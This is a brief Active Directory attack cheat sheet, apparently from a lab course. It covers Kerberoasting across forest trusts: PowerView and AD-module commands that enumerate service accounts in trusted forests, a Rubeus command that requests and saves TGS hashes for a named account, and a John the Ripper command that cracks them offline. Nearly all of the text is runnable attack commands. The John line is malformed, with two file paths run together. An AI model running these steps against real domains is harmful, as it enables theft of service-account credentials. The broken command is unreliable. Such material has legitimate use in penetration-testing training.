• It is possible to execute Kerberoast across Forest trusts.
• Let's enumerate named service accounts across forest trusts
• PowerView

Get-DomainTrust | ?{$_.TrustAttributes -eq 'FILTER_SIDS'} | %{Get-DomainUser -SPN -Domain $_.TargetName} | select sn, userprincipalname, serviceprincipalname, msds-allowedtodelegateto

• ADModule

Get-ADTrust -Filter 'IntraForest -ne $true' | %{Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName -Server $_.Name}

• Request a TGS

C:\AD\Tools\Rubeus.exe kerberoast /user:storagesvc /simple /domain:eu.local /outfile:euhashes.txt

• Crack using John

john.exe --wordlist=C:\AD\Tools\kerberoast\10k-worst-pass.txtC:\AD\Tools\euhashes.txt